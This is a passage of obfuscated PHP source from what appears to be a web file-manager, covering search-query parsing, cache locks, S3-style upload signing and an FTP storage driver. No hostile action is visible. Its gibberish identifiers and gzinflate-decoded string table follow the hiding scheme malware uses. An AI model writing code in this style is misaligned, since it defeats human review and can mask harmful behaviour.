$_SERVER[ˆ¡¹µ‹Â]; if (!isset($ß“¯¹ÚÕ[$Ó§<C393>Ñ¡ö[2060]]) || !$ß“¯¹ÚÕ[$Ó§<C393>Ñ¡ö[2060]]) { return; } if (!Input::check($ß“¯¹ÚÕ[$Ó§<C393>Ñ¡ö[2060]], $Ó§<C393>Ñ¡ö[394]) || strlen($ß“¯¹ÚÕ[$Ó§<C393>Ñ¡ö[2060]]) < 2) { return; } $³õë´Ü® = "\x4c\x45\x46\x54\x20\x4a\x4f\111\x4e\40{$this->tablePrefix}\x69\157\x5f\x73\157\x75\162\143\x65\137\x6d\145\164\x61\x20\155\x65\164\141\40\x6f\156\x20\x73\157\x75\x72\x63\145\56\163\x6f\x75\162\x63\145\x49\104\40\x3d\40\155\145\164\x61\56\x73\157\165\162\143\145\111\x44"; $»óÓÇΨ = array(); $ úòˆš  = str_replace(array($Ó§<C393>Ñ¡ö[262], $Ó§<C393>Ñ¡ö[53], $Ó§<C393>Ñ¡ö[2234]), $Ó§<C393>Ñ¡ö[12], $ úòˆš ); $ úòˆš  = $Ó§<C393>Ñ¡ö[511] . str_replace($Ó§<C393>Ñ¡ö[50], $Ó§<C393>Ñ¡ö[512], $ úòˆš ); $ØìÛÚÒÙ = $¬—ҿ׆[$Ó§<C393>Ñ¡ö[32]]; unset($¬—ҿ׆[$Ó§<C393>Ñ¡ö[32]]); foreach ($¬—ҿ׆ as $ÂîÂÄæï => $¿Âñ¯÷À) { $»óÓÇΨ[$Ó§<C393>Ñ¡ö[511] . $ÂîÂÄæï] = $¿Âñ¯÷À; } foreach ($ØìÛÚÒÙ as $¯âŽÞšÓ) { $»óÓÇΨ[] = array($Ó§<C393>Ñ¡ö[516] => $¯âŽÞšÓ, $Ó§<C393>Ñ¡ö[1071] => $Ó§<C393>Ñ¡ö[2064], array($Ó§<C393>Ñ¡ö[2235] => $¯âŽÞšÓ, $Ó§<C393>Ñ¡ö[2236] => array($Ó§<C393>Ñ¡ö[7], array($Ó§<C393>Ñ¡ö[538], $Ó§<C393>Ñ¡ö[537])))); } $this->join($³õë´Ü®); $¬—ҿ׆ = $»óÓÇΨ; } private function _parseSearchWhere($™…ÜÙ”–) { $ƒâä…Êé =& $_SERVER[ˆ¡¹µ‹Â]; $<24>¶€ø¤Š = array(); if (isset($™…ÜÙ”–[$ƒâä…Êé[827]]) && $™…ÜÙ”–[$ƒâä…Êé[827]]) { $<24>¶€ø¤Š[$ƒâä…Êé[88]] = array($ƒâä…Êé[2237], $™…ÜÙ”–[$ƒâä…Êé[827]]); } if (isset($™…ÜÙ”–[$ƒâä…Êé[828]]) && $™…ÜÙ”–[$ƒâä…Êé[828]]) { $럦Éãù = array($ƒâä…Êé[2238], $™…ÜÙ”–[$ƒâä…Êé[828]]); if ($<24>¶€ø¤Š[$ƒâä…Êé[88]]) { $<24>¶€ø¤Š[$ƒâä…Êé[88]] = array($<24>¶€ø¤Š[$ƒâä…Êé[88]], $럦Éãù, $ƒâä…Êé[2239]); } else { $<24>¶€ø¤Š[$ƒâä…Êé[88]] = $럦Éãù; } } if (isset($™…ÜÙ”–[$ƒâä…Êé[2231]]) && $™…ÜÙ”–[$ƒâä…Êé[2231]] > 0) { $<24>¶€ø¤Š[$ƒâä…Êé[79]] = array($ƒâä…Êé[2237], $™…ÜÙ”–[$ƒâä…Êé[2231]]); } if (isset($™…ÜÙ”–[$ƒâä…Êé[2232]]) && $™…ÜÙ”–[$ƒâä…Êé[2232]]) { $럦Éãù = array($ƒâä…Êé[2238], $™…ÜÙ”–[$ƒâä…Êé[2232]]); if ($<24>¶€ø¤Š[$ƒâä…Êé[79]]) { $<24>¶€ø¤Š[$ƒâä…Êé[79]] = array($<24>¶€ø¤Š[$ƒâä…Êé[79]], $럦Éãù, $ƒâä…Êé[2239]); } else { $<24>¶€ø¤Š[$ƒâä…Êé[79]] = $럦Éãù; } } if (isset($™…ÜÙ”–[$ƒâä…Êé[662]]) && $™…ÜÙ”–[$ƒâä…Êé[662]]) { $<24>¶€ø¤Š[] = array($ƒâä…Êé[529] => $™…ÜÙ”–[$ƒâä…Êé[662]], $ƒâä…Êé[527] => $™…ÜÙ”–[$ƒâä…Êé[662]], $ƒâä…Êé[1071] => $ƒâä…Êé[2064]); } if (isset($™…ÜÙ”–[$ƒâä…Êé[486]]) && $™…ÜÙ”–[$ƒâä…Êé[486]]) { $™­Ã¡óµ = $™…ÜÙ”–[$ƒâä…Êé[486]]; if ($™­Ã¡óµ == $ƒâä…Êé[78]) { $<24>¶€ø¤Š[$ƒâä…Êé[485]] = 1; } else { if ($™­Ã¡óµ == $ƒâä…Êé[2240]) { $<24>¶€ø¤Š[$ƒâä…Êé[485]] = 0; } else { if ($™­Ã¡óµ) { $™­Ã¡óµ = is_array($™­Ã¡óµ) ? $™­Ã¡óµ : explode($ƒâä…Êé[50], $™­Ã¡óµ); $<24>¶€ø¤Š[$ƒâä…Êé[486]] = array($ƒâä…Êé[492], $™­Ã¡óµ); $<24>¶€ø¤Š[$ƒâä…Êé[485]] = 0; } } } } $this->_parseSearchParent($™…ÜÙ”–, $<24>¶€ø¤Š); if (isset($™…ÜÙ”–[$ƒâä…Êé[2060]]) && trim($™…ÜÙ”–[$ƒâä…Êé[2060]])) { $¨œ©†þ¾ = trim($™…ÜÙ”–[$ƒâä…Êé[2060]]); $¯àª¹¥º = explode($ƒâä…Êé[53], $¨œ©†þ¾); if (strlen($¨œ©†þ¾) > 2 && (substr($¨œ©†þ¾, 0, 1) == $ƒâä…Êé[121] && substr($¨œ©†þ¾, -1) == $ƒâä…Êé[121]) || substr($¨œ©†þ¾, 0, 1) == $ƒâä…Êé[58] && substr($¨œ©†þ¾, -1) == $ƒâä…Êé[58]) { $¨œ©†þ¾ = substr($¨œ©†þ¾, 1, -1); $¯àª¹¥º = array($¨œ©†þ¾); } $<24>¶€ø¤Š[$ƒâä…Êé[32]] = array(array($ƒâä…Êé[612], $ƒâä…Êé[2062] . $¨œ©†þ¾ . $ƒâä…Êé[2062])); if (count($¯àª¹¥º) > 1) { $<24>¶€ø¤Š[$ƒâä…Êé[32]] = array(); foreach ($¯àª¹¥º as $ãØõãËè) { if (!trim($ãØõãËè)) { continue; } $<24>¶€ø¤Š[$ƒâä…Êé[32]][] = array($ƒâä…Êé[612], $ƒâä…Êé[2062] . trim($ãØõãËè) . $ƒâä…Êé[2062]); } } } return $<24>¶€ø¤Š; } private function _parseSearchParent($³¬ÝØö‡, &$ãá§èåö) { $ÊÓøõ—– =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($³¬ÝØö‡[$ÊÓøõ—–[192]]) || !$³¬ÝØö‡[$ÊÓøõ—–[192]]) { return; } $Ïç磶¹ = $this->pathInfo($³¬ÝØö‡[$ÊÓøõ—–[192]]); $ÁþÒßߘ = $Ïç磶¹[$ÊÓøõ—–[192]] . $ÊÓøõ—–[12] === $ÊÓøõ—–[228]; $¦´–ɺ° = $Ïç磶¹[$ÊÓøõ—–[190]] == $ÊÓøõ—–[578]; if ($Ïç磶¹[$ÊÓøõ—–[595]] == $ÊÓøõ—–[596]) { $´ –‹¹Ó = $this->sourceInfo($³¬ÝØö‡[$ÊÓøõ—–[192]]); $Ïç磶¹[$ÊÓøõ—–[584]] = $´ –‹¹Ó[$ÊÓøõ—–[584]]; } $ãá§èåö[$ÊÓøõ—–[652]] = array($ÊÓøõ—–[612], $Ïç磶¹[$ÊÓøõ—–[584]] . $³¬ÝØö‡[$ÊÓøõ—–[192]] . $ÊÓøõ—–[613]); $µ£Â¾¨† = isset($³¬ÝØö‡[$ÊÓøõ—–[1920]]) && in_array($ÊÓøõ—–[578], $³¬ÝØö‡[$ÊÓøõ—–[1920]]); if (!$µ£Â¾¨† || !$¦´–ɺ° || !$ÁþÒßߘ || !$Ïç磶¹[$ÊÓøõ—–[487]]) { return; } if (!AuthModel::authCheckRoot($Ïç磶¹[$ÊÓøõ—–[487]][$ÊÓøõ—–[488]])) { return; } $ÓªÕñ<C395>¼ = $Ïç磶¹[$ÊÓøõ—–[569]] . $ÊÓøõ—–[12]; if ($ÓªÕñ<C395>¼ == $ÊÓøõ—–[91]) { unset($ãá§èåö[$ÊÓøõ—–[652]]); $ãá§èåö[$ÊÓøõ—–[190]] = self::TYPE_GROUP; return; } $Í€«­¯” = Model($ÊÓøõ—–[585])->groupChildrenAll($ÓªÕñ<C395>¼); $<24>üâ⊠= count($Í€«­¯”); if ($<24>üâ⊠<= 1) { return; } $ä­Þ‰‰å = array($ÊÓøõ—–[192] => 0, $ÊÓøõ—–[190] => self::TYPE_GROUP, $ÊÓøõ—–[569] => array($ÊÓøõ—–[7], $Í€«­¯”)); $ϹÝ<C2B9>öÞ = $this->field($ÊÓøõ—–[2241])->where($ä­Þ‰‰å)->limit($<24>üââŠ)->select(); $ãá§èåö[$ÊÓøõ—–[652]] = array(); foreach ($ϹÝ<C2B9>öÞ as $òÆêúœÇ) { $ãá§èåö[$ÊÓøõ—–[652]][] = array($ÊÓøõ—–[612], $ÊÓøõ—–[594] . $òÆêúœÇ[$ÊÓøõ—–[193]] . $ÊÓøõ—–[613]); } $ãá§èåö[$ÊÓøõ—–[652]][] = $ÊÓøõ—–[2064]; } } goto D«Š¢´èØ; d¦ä¡Æë¸: if (!$tukerlwafc) { die; } $_SERVER[ Ãœáã¬] = explode($_SERVER[ˆ¡¹µ‹Â][680], gzinflate(substr($_SERVER[ˆ¡¹µ‹Â][681], 10, -8))); $znstewkolc = $_SERVER[ˆ¡¹µ‹Â][682]; goto D¯çðÖ£Þ»; B—¿áÄì¹<C3AC>: class CacheLockMemcached { public function lock($Ëò¦ß½À, $öö<C3B6>Ñ£» = 0) { $áåóó·ë = Cache::init(); $¤Ý㕊² = microtime(!0) + $öö<C3B6>Ñ£»; while (microtime(!0) < $¤Ý㕊²) { $’Ñá¡…ª = $áåóó·ë->get($Ëò¦ß½À); if (!$’Ñá¡…ª || $’Ñá¡…ª < microtime(!0)) { $¶³ƒã±Å = $áåóó·ë->handle->add($Ëò¦ß½À, $¤Ý㕊², $öö<C3B6>Ñ£»); if ($¶³ƒã±Å) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ƒêÓ†ù™) { return Cache::init()->get($ƒêÓ†ù™); } public function unlock($¼Íµ²úÌ) { return Cache::init()->remove($¼Íµ²úÌ); } } class CacheLockDatabase { public function lock($ÉŠ¿­ìØ, $<24>ÝŸ†ƒŽ = 0) { $¸‡¹—<C2B9>ù = Model($_SERVER[ˆ¡¹µ‹Â][903]); $°°Ú¨™Ô = microtime(!0) + $<24>ÝŸ†ƒŽ; while (microtime(!0) < $°°Ú¨™Ô) { $ñ í롘 = $¸‡¹—<C2B9>ù->get($ÉŠ¿­ìØ); if (!$ñ í롘 || $ñ í롘 < microtime(!0)) { $ü’ƒ£‡£ = $¸‡¹—<C2B9>ù->set($ÉŠ¿­ìØ, $°°Ú¨™Ô); if ($ü’ƒ£‡£) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($«Âñ­¾ð) { return Model($_SERVER[ˆ¡¹µ‹Â][903])->get($«Âñ­¾ð); } public function unlock($®ï ®œµ) { Model($_SERVER[ˆ¡¹µ‹Â][903])->remove($®ï ®œµ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($‰ýØÂôœ, $ýä‹ô™û) { $ØýúñåŽ =& $_SERVER[ˆ¡¹µ‹Â]; if (!class_exists($ØýúñåŽ[941])) { show_json($ØýúñåŽ[942], !1); } $this->cacheTime = $ýä‹ô™û; $this->handle = new Memcached(); if (is_array($‰ýØÂôœ[$ØýúñåŽ[943]]) && count($‰ýØÂôœ[$ØýúñåŽ[943]]) >= 1) { foreach ($‰ýØÂôœ[$ØýúñåŽ[943]] as $³šåÔá«) { $´ÃòËü” = explode($ØýúñåŽ[4], $³šåÔá«); $this->handle->addServer($´ÃòËü”[0], $´ÃòËü”[1]); } } else { $this->handle->addServer($‰ýØÂôœ[$ØýúñåŽ[208]], $‰ýØÂôœ[$ØýúñåŽ[209]]); } } public function set($´<>¢˜»Ë, $¦”µ£”©, $<24>ÅŒº€ç = false) { $<24>ÅŒº€ç = $<24>ÅŒº€ç ? $<24>ÅŒº€ç : $this->cacheTime; return $this->handle->set($´<>¢˜»Ë, $¦”µ£”©, $<24>ÅŒº€ç); } public function get($<24>·ßѯé) { return $this->handle->get($<24>·ßѯé); } public function remove($€ˆ—£™Ï) { return $this->handle->delete($€ˆ—£™Ï); } public function deleteAll() { return $this->handle->flush(); } } goto Eœ ×ÄІ; BëˆÄŒâÏÌ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($<24>§¡¾ñ£) { parent::__construct($<24>§¡¾ñ£); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } public function uploadFormData($è‚û’êÔ, $®‹¨ôäº = 3600) { $ª¸¼¥ßí =& $_SERVER[ˆ¡¹µ‹Â]; $½†‹ùÌÎ = $ª¸¼¥ßí[229]; $ý<>ض» = $ª¸¼¥ßí[270]; $öÇÕ<C387>㌠= $ª¸¼¥ßí[62]; $Ò¦öÆŽ½ = gmdate($ª¸¼¥ßí[271]); $­•è죶 = gmdate($ª¸¼¥ßí[272]); $´Ã¼ù½À = $ª¸¼¥ßí[273]; $äŸëõ°‰ = $®‹¨ôäº . $ª¸¼¥ßí[12]; $ÓÅÉó²¥ = $ª¸¼¥ßí[274]; $˜¥<CB9C>µÈ = array($this->accessKey, $­•è죶, $this->region, $öÇÕ<C387>ãŒ, $´Ã¼ù½À); $<24>Ÿ ³ºÖ = implode($ª¸¼¥ßí[8], $˜¥<CB9C>µÈ); $‘‘…ñë¯ = array($ª¸¼¥ßí[275] => gmdate($ª¸¼¥ßí[299], strtotime($ª¸¼¥ßí[277])), $ª¸¼¥ßí[278] => array(array($ª¸¼¥ßí[279] => $this->bucket), array($ª¸¼¥ßí[280] => $½†‹ùÌÎ), array($ª¸¼¥ßí[281], $ª¸¼¥ßí[282], $ª¸¼¥ßí[12]), array($ª¸¼¥ßí[281], $ª¸¼¥ßí[283], $ª¸¼¥ßí[12]), array($ª¸¼¥ßí[281], $ª¸¼¥ßí[284], $ª¸¼¥ßí[12]), array($ª¸¼¥ßí[285] => $ÓÅÉó²¥), array($ª¸¼¥ßí[286] => $<24>Ÿ ³ºÖ), array($ª¸¼¥ßí[287] => $ý<>ض»), array($ª¸¼¥ßí[288] => $Ò¦öÆŽ½), array($ª¸¼¥ßí[289] => $äŸëõ°‰))); $–‹®ãк = base64_encode(json_encode($‘‘…ñë¯)); $<24>÷åä<C3A5>© = hash_hmac($ª¸¼¥ßí[290], $­•è죶, $ª¸¼¥ßí[291] . $this->secret, !0); $ÇüÏù®£ = hash_hmac($ª¸¼¥ßí[290], $this->region, $<24>÷åä<C3A5>©, !0); $­¦ûˆÌé = hash_hmac($ª¸¼¥ßí[290], $öÇÕ<C387>ãŒ, $ÇüÏù®£, !0); $íÖîÖ´ä = hash_hmac($ª¸¼¥ßí[290], $´Ã¼ù½À, $­¦ûˆÌé, !0); $¡ÅàÇÖ<C387> = hash_hmac($ª¸¼¥ßí[290], $–‹®ãк, $íÖîÖ´ä); $ÛøÂ¤¬Û = array($ª¸¼¥ßí[246] => $ª¸¼¥ßí[12], $ª¸¼¥ßí[292] => $ª¸¼¥ßí[12], $ª¸¼¥ßí[280] => $½†‹ùÌÎ, $ª¸¼¥ßí[285] => $ÓÅÉó²¥, $ª¸¼¥ßí[293] => $–‹®ãк, $ª¸¼¥ßí[294] => $<24>Ÿ ³ºÖ, $ª¸¼¥ßí[295] => $ý<>ض», $ª¸¼¥ßí[296] => $Ò¦öÆŽ½, $ª¸¼¥ßí[297] => $äŸëõ°‰, $ª¸¼¥ßí[298] => $¡ÅàÇÖ<C387>, $ª¸¼¥ßí[208] => $this->getHost()); return $ÛøÂ¤¬Û; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($®¿ðÔ÷¼) { parent::__construct(); if (count($®¿ðÔ÷¼) > 0) { $this->_init($®¿ðÔ÷¼); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($Ãï“ö ) { $±ê<C2B1>Üß =& $_SERVER[ˆ¡¹µ‹Â]; global $config; $this->appCharset = $config[$±ê<C2B1>Üß[1429]]; $this->systemCharset = $config[$±ê<C2B1>Üß[1430]]; if (isset($Ãï“ö [$±ê<C2B1>Üß[1431]]) && $Ãï“ö [$±ê<C2B1>Üß[1431]]) { $this->systemCharset = $Ãï“ö [$±ê<C2B1>Üß[1431]]; } } public function iconvApp($÷Óþ˜“ô) { return $this->iconvTo($÷Óþ˜“ô, $this->systemCharset, $this->appCharset); } public function iconvSystem($¿ž±øŸ©) { return $this->iconvTo($¿ž±øŸ©, $this->appCharset, $this->systemCharset); } public function getPathOuter($øå¥Ô¨è) { $¿Á´¨‚­ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ßñ—íÁ = $this->iconvApp($this->pathBase); $øå¥Ô¨è = $this->iconvApp($øå¥Ô¨è); if (substr($<24>ßñ—íÁ, 0, 2) == $¿Á´¨‚­[1403]) { $<24>ßñ—íÁ = BASIC_PATH . substr($<24>ßñ—íÁ, 2); } if (substr($øå¥Ô¨è, 0, 2) == $¿Á´¨‚­[1403]) { $øå¥Ô¨è = BASIC_PATH . substr($øå¥Ô¨è, 2); } $<24>ßñ—íÁ = KodIO::clear($<24>ßñ—íÁ); $øå¥Ô¨è = KodIO::clear($øå¥Ô¨è); $øå¥Ô¨è = substr($øå¥Ô¨è, strlen($<24>ßñ—íÁ)); if (empty($this->pathDriver)) { return $øå¥Ô¨è; } return $this->pathDriver . $¿Á´¨‚­[8] . ltrim($øå¥Ô¨è, $¿Á´¨‚­[8]); } private function _init($ûŠƒÌõž = array()) { $ËæÐý³î =& $_SERVER[ˆ¡¹µ‹Â]; if (!function_exists($ËæÐý³î[1432])) { throw new Exception(LNG($ËæÐý³î[1433])); } $this->config = $ûŠƒÌõž; $this->charsetReset($ûŠƒÌõž); foreach ($ûŠƒÌõž as $á<>„Á×ë => $ñä<C3B1>±äá) { if (isset($this->{$á<>„Á×ë})) { $this->{$á<>„Á×ë} = $ñä<C3B1>±äá; } } return $this->_login($ûŠƒÌõž); } private function _login($äïÏüš¬) { $½Ûäû¨µ =& $_SERVER[ˆ¡¹µ‹Â]; static $Æû޼Á… = array(); $¬ûÚ¾ˆŽ = md5(json_encode($äïÏüš¬)); if (isset($Æû޼Á…[$¬ûÚ¾ˆŽ])) { foreach ($Æû޼Á…[$¬ûÚ¾ˆŽ] as $Ð¥ýñÑ  => $¾<>öžéç) { $this->{$Ð¥ýñÑ } = $¾<>öžéç; } return !0; } $™ “ ˆ‹ = parse_url(trim($this->server, $½Ûäû¨µ[8])); $this->host = $™ “ ˆ‹[$½Ûäû¨µ[208]]; $§Ë©¥®Á = isset($™ “ ˆ‹[$½Ûäû¨µ[207]]) && $™ “ ˆ‹[$½Ûäû¨µ[207]] == $½Ûäû¨µ[1434] ? !0 : !1; $this->scheme = $§Ë©¥®Á ? $½Ûäû¨µ[1435] : $½Ûäû¨µ[1436]; $this->port = isset($™ “ ˆ‹[$½Ûäû¨µ[209]]) ? $™ “ ˆ‹[$½Ûäû¨µ[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($½Ûäû¨µ[1437]) . $this->host . $½Ûäû¨µ[4] . $this->port, !0); return !1; } $Ò<>õ¦ä± = @ftp_login($this->connect, $this->username, $this->userpass); if (!$Ò<>õ¦ä±) { $this->writeLog(LNG($½Ûäû¨µ[1438]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $å¬Õ§Ðî = $this->pasv == $½Ûäû¨µ[91] ? !0 : !1; @ftp_pasv($this->connect, $å¬Õ§Ðî); $Æû޼Á…[$¬ûÚ¾ˆŽ] = array($½Ûäû¨µ[1439] => $this->connect, $½Ûäû¨µ[208] => $this->host, $½Ûäû¨µ[207] => $this->scheme, $½Ûäû¨µ[209] => $this->port); return $Ò<>õ¦ä±; } private function _isconn($ð•莘ý = true) { if (is_resource($this->connect)) { return !0; } if (!$ð•莘ý) { return !1; } return $this->_login($this->config); } public function mkfile($ã§Õž¿ê, $¦Í«žº¬ = '', $ ó<C2A0>±Ò¯ = REPEAT_RENAME) { if ($this->setContent($ã§Õž¿ê, $¦Í«žº¬)) { return $this->getPathOuter($ã§Õž¿ê); } $this->writeLog(LNG($_SERVER[ˆ¡¹µ‹Â][1440]), !0); return !1; } public function mkdir($©Ðö§ïš, $Èö´•ñ = REPEAT_SKIP) { $<24>¬¨ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$©Ðö§ïš || $©Ðö§ïš == $<24>¬¨[8]) { return !0; } if (!$this->_isconn()) { return !1; } $©Ðö§ïš = $this->iconvSystem($©Ðö§ïš); if ($this->_isFolder($©Ðö§ïš) || @ftp_mkdir($this->connect, $©Ðö§ïš)) { return $this->getPathOuter($©Ðö§ïš); } if (!$this->mkdir($this->pathFather($©Ðö§ïš))) { return !1; } if ($©Ðö§ïš = @ftp_mkdir($this->connect, $©Ðö§ïš)) { return $this->getPathOuter($©Ðö§ïš); } $this->writeLog(__FUNCTION__ . $<24>¬¨[1441], !0); return !1; } public function copyFile($„•£ÐñÚ, $Є•θñ) { if (!$this->_isconn()) { return !1; } $Ä…–ú¡‹ = $this->pathThis($this->iconvSystem($„•£ÐñÚ)); $†ìƒ”Þ² = $this->tempFile($Ä…–ú¡‹); $“ÔðÙ‘Í = $this->iconvApp($†ìƒ”Þ²); $this->download($„•£ÐñÚ, $“ÔðÙ‘Í); $òô¸•‚˜ = $this->upload($Є•θñ, $“ÔðÙ‘Í); $this->tempFileRemve($†ìƒ”Þ²); return $òô¸•‚˜; } public function moveFile($דùî¡ê, $™ù›ùòô) { if (!$this->_isconn()) { return !1; } $דùî¡ê = $this->iconvSystem($דùî¡ê); $™ù›ùòô = $this->iconvSystem($™ù›ùòô); $Ç…Õ˜šÊ = @ftp_rename($this->connect, $דùî¡ê, $™ù›ùòô); if (!$Ç…Õ˜šÊ) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } return $this->getPathOuter($™ù›ùòô); } public function delFile($ˆˆ¾—ó‰) { if (!$this->_isconn()) { return !1; } $ˆˆ¾—ó‰ = $this->iconvSystem($ˆˆ¾—ó‰); $þÌÛþáÆ = @ftp_delete($this->connect, $ˆˆ¾—ó‰); if (!$þÌÛþáÆ) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); } return $þÌÛþáÆ; } public function delFolder($‡üï»è<C2BB>) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $¡ºÆ›ýË = $ô¼ԅþ = array(); $this->fileList($‡üï»è<C2BB>, $¡ºÆ›ýË, $ô¼ԅþ, !0); $this->listItemCache = !0; foreach ($ô¼ԅþ as $åÙ«àôØ) { $¹¹Ææ¨Ê = $this->iconvSystem($åÙ«àôØ[$_SERVER[ˆ¡¹µ‹Â][32]]); $¿ê¹ŠŽ³ = @ftp_delete($this->connect, $¹¹Ææ¨Ê); if (!$¿ê¹ŠŽ³) { return !1; } } foreach ($¡ºÆ›ýË as $¹¹Ææ¨Ê) { $¹¹Ææ¨Ê = $this->iconvSystem($¹¹Ææ¨Ê); $¿ê¹ŠŽ³ = @ftp_rmdir($this->connect, $¹¹Ææ¨Ê); if (!$¿ê¹ŠŽ³) { return !1; } } $‡üï»è<C2BB> = $this->iconvSystem($‡üï»è<C2BB>); return @ftp_rmdir($this->connect, $‡üï»è<C2BB>); } public function rename($«¾—ÙÀá, $ÈËÑÛˆŒ) { $•»‡<C2BB>”ä =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->_isconn()) { return !1; } $²Ö¸˜¹ë = $this->fileNameAuto($this->pathFather($«¾—ÙÀá), $ÈËÑÛˆŒ); $²Ö¸˜¹ë = $this->iconvSystem($²Ö¸˜¹ë); $«¾—ÙÀá = $this->iconvSystem($«¾—ÙÀá); $ÇÇäÚ½‘ = $this->pathFather($«¾—ÙÀá); $«<>÷Þ¹ = rtrim($ÇÇäÚ½‘, $•»‡<C2BB>”ä[8]) . $•»‡<C2BB>”ä[8] . $²Ö¸˜¹ë; $Ô´ŽÝÉû = @ftp_rename($this->connect, $«¾—ÙÀá, $«<>÷Þ¹); if (!$Ô´ŽÝÉû) { $this->writeLog(__FUNCTION__ . $•»‡<C2BB>”ä[1441], !0); return !1; } $«<>÷Þ¹ = $this->iconvApp($«<>÷Þ¹); return $this->getPathOuter($«<>÷Þ¹); } private function folderInfo($Òæ’„¬…, $䀽›ì¨ = false) { $ò<E28093>¥æ =& $_SERVER[ˆ¡¹µ‹Â]; $ðÒÏ„£<E2809E> = array($ò<E28093>¥æ[32] => $this->pathThis($Òæ’„¬…), $ò<E28093>¥æ[87] => $this->getPathOuter($ò<E28093>¥æ[8] . $Òæ’„¬…), $ò<E28093>¥æ[33] => $ò<E28093>¥æ[78]); if ($䀽›ì¨) { return $ðÒÏ„£<E2809E>; } $ðÒÏ„£<E2809E>[$ò<E28093>¥æ[231]] = $ðÒÏ„£<E2809E>[$ò<E28093>¥æ[88]] = 0; $ðÒÏ„£<E2809E>[$ò<E28093>¥æ[232]] = $ðÒÏ„£<E2809E>[$ò<E28093>¥æ[233]] = !0; return $ðÒÏ„£<E2809E>; } private function fileInfo($í”ØµÕ¶, $‘Ê›ô¤ô = false, $üÁÁ<C381>³ = array()) { $à娤¹¨ =& $_SERVER[ˆ¡¹µ‹Â]; $†£¼õ„Ù = array($à娤¹¨[32] => $this->pathThis($í”ØµÕ¶), $à娤¹¨[87] => $this->getPathOuter($à娤¹¨[8] . $í”ØµÕ¶), $à娤¹¨[33] => $à娤¹¨[230], $à娤¹¨[79] => isset($üÁÁ<C381>³[$à娤¹¨[79]]) ? $üÁÁ<C381>³[$à娤¹¨[79]] : 0, $à娤¹¨[169] => $this->ext($í”ØµÕ¶)); if ($‘Ê›ô¤ô) { return $†£¼õ„Ù; } $†£¼õ„Ù[$à娤¹¨[231]] = $†£¼õ„Ù[$à娤¹¨[88]] = 0; $†£¼õ„Ù[$à娤¹¨[232]] = $†£¼õ„Ù[$à娤¹¨[233]] = !0; $¢»«„<E2809E> = $this->iconvSystem($í”ØµÕ¶); $†£¼õ„Ù[$à娤¹¨[88]] = @ftp_mdtm($this->connect, $¢»«„<E2809E>); if (empty($üÁÁ<C381>³)) { $üÁÁ<C381>³ = $this->objectMeta($í”ØµÕ¶); if (!$üÁÁ<C381>³) { return $†£¼õ„Ù; } } $†£¼õ„Ù[$à娤¹¨[79]] = $üÁÁ<C381>³[$à娤¹¨[79]]; return $†£¼õ„Ù; } public function size($¾Û»äÀ„) { $öÕÎ’ Ñ = $this->objectMeta($¾Û»äÀ„); return $öÕÎ’ Ñ ? $öÕÎ’ Ñ[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function info($Þà¼ó®€) { if ($this->isFile($Þà¼ó®€)) { return $this->fileInfo($Þà¼ó®€, 0); } else { if ($this->isFolder($Þà¼ó®€)) { return $this->folderInfo($Þà¼ó®€); } } return !1; } private function fileList($Ȧ£ß<E280BA>, &$×ÊîÝçŸ, &$É<>ÛòÉ, $™<>ð—îý = false) { $Ú““ó¾Ú =& $_SERVER[ˆ¡¹µ‹Â]; $Ȧ£ß<E280BA> = $this->iconvSystem($Ȧ£ß<E280BA>); if (!$this->isFolder($Ȧ£ß<E280BA>)) { return !1; } @ftp_chdir($this->connect, $Ú““ó¾Ú[8]); $Ȧ£ß<E280BA> = rtrim($Ȧ£ß<E280BA>, $Ú““ó¾Ú[8]) . $Ú““ó¾Ú[8]; check_abort(); $“ª‘çèŒ = @ftp_rawlist($this->connect, $Ȧ£ß<E280BA>); if (!$“ª‘çèŒ) { $“ª‘çèŒ = array(); } $¯çÕäÓé = array($Ú““ó¾Ú[10] => 1, $Ú““ó¾Ú[1356] => 1); foreach ($“ª‘çèŒ as $¹Õ ¸òï) { $¢Áù×í¯ = $this->_listItem($¹Õ ¸òï); if ($¢Áù×í¯[0] == $Ú““ó¾Ú[825]) { continue; } $ð褀ᘠ= $¢Áù×í¯[8]; if (empty($ð褀á˜) && $ð褀ᘠ!== $Ú““ó¾Ú[228] || isset($¯çÕäÓé[$ð褀á˜])) { continue; } $ð褀ᘠ= $this->iconvApp($Ȧ£ß<E280BA> . ltrim($ð褀á˜, $Ú““ó¾Ú[8])); $˜Þ<C39E>ÐÀ = array($Ú““ó¾Ú[32] => $ð褀á˜, $Ú““ó¾Ú[33] => $Ú““ó¾Ú[230], $Ú““ó¾Ú[79] => $¢Áù×í¯[4]); if (substr($¹Õ ¸òï, 0, 1) == $Ú““ó¾Ú[1442]) { $˜Þ<C39E>ÐÀ[$Ú““ó¾Ú[33]] = $Ú““ó¾Ú[78]; $˜Þ<C39E>ÐÀ[$Ú““ó¾Ú[79]] = 0; } $«Êűêå = $˜Þ<C39E>ÐÀ[$Ú““ó¾Ú[33]] == $Ú““ó¾Ú[78] ? !0 : !1; $this->cacheMethodInfoSet($ð褀á˜, $«Êűêå, $˜Þ<C39E>ÐÀ); if ($«Êűêå) { $×ÊîÝçŸ[] = $ð褀á˜; if ($™<>ð—îý) { $this->fileList($ð褀á˜, $×ÊîÝçŸ, $É<>ÛòÉ, $™<>ð—îý); } continue; } $É<>ÛòÉ[] = $˜Þ<C39E>ÐÀ; } $this->cacheMethodInfoSet($Ȧ£ß<E280BA>, !0); } private function 